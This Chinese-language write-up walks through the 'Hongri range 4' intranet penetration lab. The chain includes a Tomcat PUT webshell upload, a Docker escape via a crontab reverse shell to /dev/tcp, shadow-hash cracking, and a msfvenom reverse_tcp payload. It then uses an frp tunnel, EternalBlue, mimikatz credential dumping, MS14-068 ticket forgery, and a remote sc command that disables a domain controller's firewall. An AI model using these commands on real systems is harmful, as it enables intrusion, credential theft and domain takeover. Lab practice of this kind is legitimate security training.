内网渗透——红日靶场四
目录
一、前期准备
网络配置
启动环境
二、外网探测
1.存活主机
2.使用nmap进行扫描
3.Tomcat文件上传
4.docker逃逸
5.ssh登录
(1)使用id_rsa爆破(较慢)
(2)/etc/shadow爆破
(3)ubuntu提权
6.尝试上线msf
三、内网渗透
1.信息收集
2.代理隧道
(1)编辑客户机(Ubuntu)
(2)编辑服务机(Kali)
(3)编辑proxychains4.conf
3.永恒之蓝(成功拿下WIN7)
4.对win7进行信息收集
抓取密码
开启3389端口
远程桌面登录(失败)
修改管理员密码
5.MS14-068
获取域成员sid
使用ms14-068伪造票据
将高权限票据注入内存
访问域控
6.永恒之蓝(成功拿下win2008)
四、总结
一、前期准备
首先准备好三台虚拟机:
对应的主机账号和密码:
WEB机:ubuntu ubuntu
WIN7主机:douser Dotest123
DC:administrator Test2008
网络配置
准备两个子网:
192.168.57.0 用作外网(NAT模式)
192.168.52.0 用作内网(仅主机模式)
注意,这里要将DC机的IP改一下:改成192.168.52.x 网段的
启动环境
进入docker,把这几个镜像都开启,可以这样开启:
最终会显示还是有几个没有开启,是正常的
二、外网探测
1.存活主机
得到IP地址:192.168.57.146
2.使用nmap进行扫描
web机为Ubuntu 开了SSH,还有几个http页面,根据所给的版本信息搜索对应的漏洞
能直接搜到的有2002端口的 Tomcat/8.5.19的文件上传漏洞
以及2003端口符合漏洞版本 2.4.0~2.4.29的 cve-2017-15715 apache文件上传漏洞
3.Tomcat文件上传
复现是参考了这位师傅的文章:一文了解Tomcat/8.5.19文件上传漏洞复现_tomcat8.5.19-CSDN博客
先抓包,改为PUT请求:
这里显示201状态码
说明此时新资源创建成功了,也就是说可以直接写入文件!尝试访问GET请求:
发现能够访问到,那就直接用文件上传了,打开Godzilla,管理生成一个jsp马
然后将生成的木马内容写入(有时会显示404 ,可以尝试路径shell.jsp/ 。本来我一开始是能正常写入的,但是后面直接输入shell.jsp就一直显示404)
就能成功上传了,状态码显示为204(服务器成功处理请求)再使用哥斯拉连接
看起来像是docker容器环境中,一般容器环境中根目录下会有 .dockerenv 这个隐藏文件
发现确实是docker容器环境,接下来可能要尝试docker逃逸了
4.docker逃逸
虽然在深入,但还是要谨记之前获取到的信息(如SSH,2003端口的文件上传等)
docker逃逸参考这位师傅的文章:https://xz.aliyun.com/news/8151
我看到了一个:Docker高危启动参数 --privileged 特权模式启动容器
这位师傅是这样说的:
之前我直接在/下看到了test文件,但可能是我在复现过程中无意弄好的,让我误以为是环境已经给我搞好了,后面因某些原因再配置一遍发现/test消失了,所以还是再复现一遍:
首先运行:fdisk -l
可以看到这个磁盘文件最大,十六进制代码 83
表示该分区为 Linux 原生文件系统分区。可以利用该文件进行docker逃逸
mkdir /test
mount /dev/sda1 /test
chroot /test # 这步我并不能成功,可以直接用下面的
/ >echo '* * * * * root bash -c "bash -i >& /dev/tcp/192.168.57.128/5555 0>&1"' >> /test/etc/crontab
成功获得web机的root权限!
5.ssh登录
虽然已经获得了ubuntu的root权限,但再尝试到后面发现永恒之蓝怎样都打不了,上网搜索打永恒之蓝需要较为稳定的代理,为后续操作的方便,我这里还是学习一下ssh登录的过程(稳定性会更高一些,且命令行操作会更加简单)
(1)使用id_rsa爆破(较慢)
利用刚才获得的shell(或者是在docker容器当中进行操作),获得ubuntu用户下的隐藏文件的.ssh的id_rsa文件
将这一段复制下来,先使用ssh2john从ssh密钥文件中提取哈希值(这里的id_rsa是我随便建的文件)
然后再将提取的哈希写入新文件id_rsa.hash中,使用john进行爆破
就不等了后面
(2)/etc/shadow爆破
可以直接获得密码的hash值,直接爆破
直接得到密码为ubuntu ,直接尝试ssh登录(ubuntu机变为57.149了)
成功登录
(3)ubuntu提权
发现有root权限,直接提权
6.尝试上线msf
先生成上线程序,先查看Ubuntu的详细信息:uname -a 发现是x84的
msfvenom -p /linux/x64/meterpreter/reverse_tcp LHOST=192.168.57.128 LPORT=6666 -f elf -o shell2.elf
然后要想办法将生成的上线程序下载到WEB机中,这里我用kali开启了一个http服务
然后直接让WEB机下载:
然后给文件赋予权限
开启msf
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.57.128
set LPORT 6666
run
然后直接运行shell2程序 ,就可以成功上线msf了
三、内网渗透
1.信息收集
查看网络信息
发现还有192.168.52.x/24网段 ,可用来设置路由
植入fscan进行内网扫描,同样是下载kali上的文件(本来我是想用msf直接到底的,但fscan会更好用些)
可以看到内网的存活主机
192.168.52.129以及192.168.52.190
可以看到上面扫出来的两台内网机器都能尝试用永恒之蓝
甚至还知晓了域控的IP:192.168.52.190 (win 2008)
2.代理隧道
使用永恒之蓝需要稳定的隧道,这里用到的是frp来进行隧道搭建。
(1)编辑客户机(Ubuntu)
将frpc.ini和frpc文件下载到ubuntu上:
编辑frpc.ini文件:
(2)编辑服务机(Kali)
然后在kali上运行:
默认是监听5555
再到跳板机上运行:
可以看到服务机kali上成功建立起隧道
本地用到的是8989端口
(3)编辑proxychains4.conf
3.永恒之蓝(成功拿下WIN7)
注意,之前提到过要打永恒之蓝需要一条非常稳定的隧道,而我们用到的代理也只能是这里的127.0.0.1 8989 如果打了很久也不成功可以去看一下 /etc/environment的全局代理,先把里面的一些代理给禁用掉,然后重启一下就行了:
利用echo $http_proxy 看是否成功执行
或者curl一下docker容器:172.19.0.2 看代理链是否构造成功:
可以看到这里已经成功了。但可能还有一种情况会导致代理链不稳定,就是在以前曾经启动过frp服务(但并没有正确关闭,或者设置了自启动),导致端口被占用了,可以这样自检:当你用永恒之蓝打的时候,看frp服务端会不会跑流量,像这样:
如果没反应可以尝试重启kali,再次重启应该就行了。
现在目标内网机器的IP为:192.168.52.134 192.168.52.190(DC)
search ms17-010
use 0
set payload windows/x64/meterpreter/bind_tcp # 这里用了代理,只能用正向连接
set rhost 192.168.52.134
setg proxies socks5:127.0.0.1:8989
run
成功!
4.对win7进行信息收集
用永恒之蓝应该是不能拿下DC机的,只好先对win7进行信息收集再尝试横向移动了。
发现已经有了系统权限,先关闭防火墙
抓取密码
load kiwi
kiwi_cmd sekurlsa::logonpasswords
c
可以直接抓取到账号密码: demo/douser Dotest123
开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
远程桌面登录(失败)
修改管理员密码
SYSTEM权限可以对管理员密码进行修改,可以这样修改并激活:
这样就可以再尝试远程桌面登录了:
然后可以查看douser下的文件:
发现里面能用的东西相当多,但按理来说一台要打的机器是不会有这么多POC在上面的,比如这里的MS14-068 就应该是出题人给我们的提示。
5.MS14-068
MS14-068(CVE-2014-6324) 是 Microsoft Windows 操作系统中的一个高危漏洞,影响 Kerberos 协议的权限验证机制。如果攻击者获取了域内任何一台计算机的shell权限,同时知道任意域用户的用户名、SID、密码,即可获取域管理员权限,未打补丁的 Windows Server 2003 至 2012 R2 域控制器都可能有该漏洞。
我们正好可借该漏洞横向到域控主机上(mimikatz无法抓取到域控的密码,即无法横向)复现一下
获取域成员sid
S-1-5-21-797258081-3477957704-2472809391-500
使用ms14-068伪造票据
C:\Users\douser\Desktop>MS14-068.exe -u douser@DEMO.com -s S-1-5-21-797258081-3477957704-2472809391-500 -d 192.168.52.190 -p Dotest123
# -u 域成员@域名.com
# -s 域成员sid
# -d 域控制器ip地址
# -p 域成员密码
可以看到成功得到高权限票据:TGT_douser@DEMO.com.ccache
将高权限票据注入内存
mimikatz # kerberos::listmimikatz # kerberos::ptc TGT_douser@DEMO.com.ccachePrincipal : (01) : douser ; @ DEMO.COMData 0Start/End/MaxRenew: 2025/5/22 19:02:41 ; 2025/5/23 5:02:41 ; 2025/5/29 19:02:41Service Name (01) : krbtgt ; DEMO.COM ; @ DEMO.COMTarget Name (01) : krbtgt ; DEMO.COM ; @ DEMO.COMClient Name (01) : douser ; @ DEMO.COMFlags 50a00000 : pre_authent ; renewable ; proxiable ; forwardable ;Session Key : 0x00000017 - rc4_hmac_nt735e5e7814fd6aaa4d294fbd69bc9c39Ticket : 0x00000000 - null ; kvno = 2 [...]* Injecting ticket : OK
可以看到成功注入票据
我们的域控是: WIN-ENS2VR5TR3N
访问域控
可以看到我们刚刚注入的票据
dir \\WIN-ENS2VR5TR3N\C$ 访问域控C盘下的文件
成功执行命令,接下来就得将域控的防火墙关闭了,记得我们之前用fscan发现域控有永恒之蓝吗?用msf继续打一遍。
6.永恒之蓝(成功拿下win2008)
首先我们需要将win2008的防火墙关闭:
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
# 使用sc命令在远程计算机上创建一个名为unablefirewall 的服务
sc \\WIN-ENS2VR5TR3N start unablefirewall
# 开启该服务
然后就是拿永恒之蓝打了
成功拿下域控!
四、总结
首先,如果有错误的地方,感谢大家指正!
该靶场还是学了很多知识,对于内网也更加得心应手了些,回忆一下整篇打靶的路径:
首先是通过Tomcat文件上传,成功获得了docker的shell
然后利用docker的权限配置问题,进行了docker逃逸
进行了ssh爆破,获得了更加稳定的shell
使用frp搭建了代理隧道,期间也解决了一些问题,成功用永恒之蓝打下WIN7
加载mimikatz抓取win7账号密码,sid。发现是system权限直接修改本机管理员的密码,打开3389端口登录本机管理员。
发现win7给我们准备好了ms14-068,借此成功得到域管理员的权限
关闭域控的防火墙,使用永恒之蓝拿下域控。
思维导图最近还在画,感觉有些不合理的地方,思路不是很清晰。之后应该会出一篇学习docker逃逸的文章。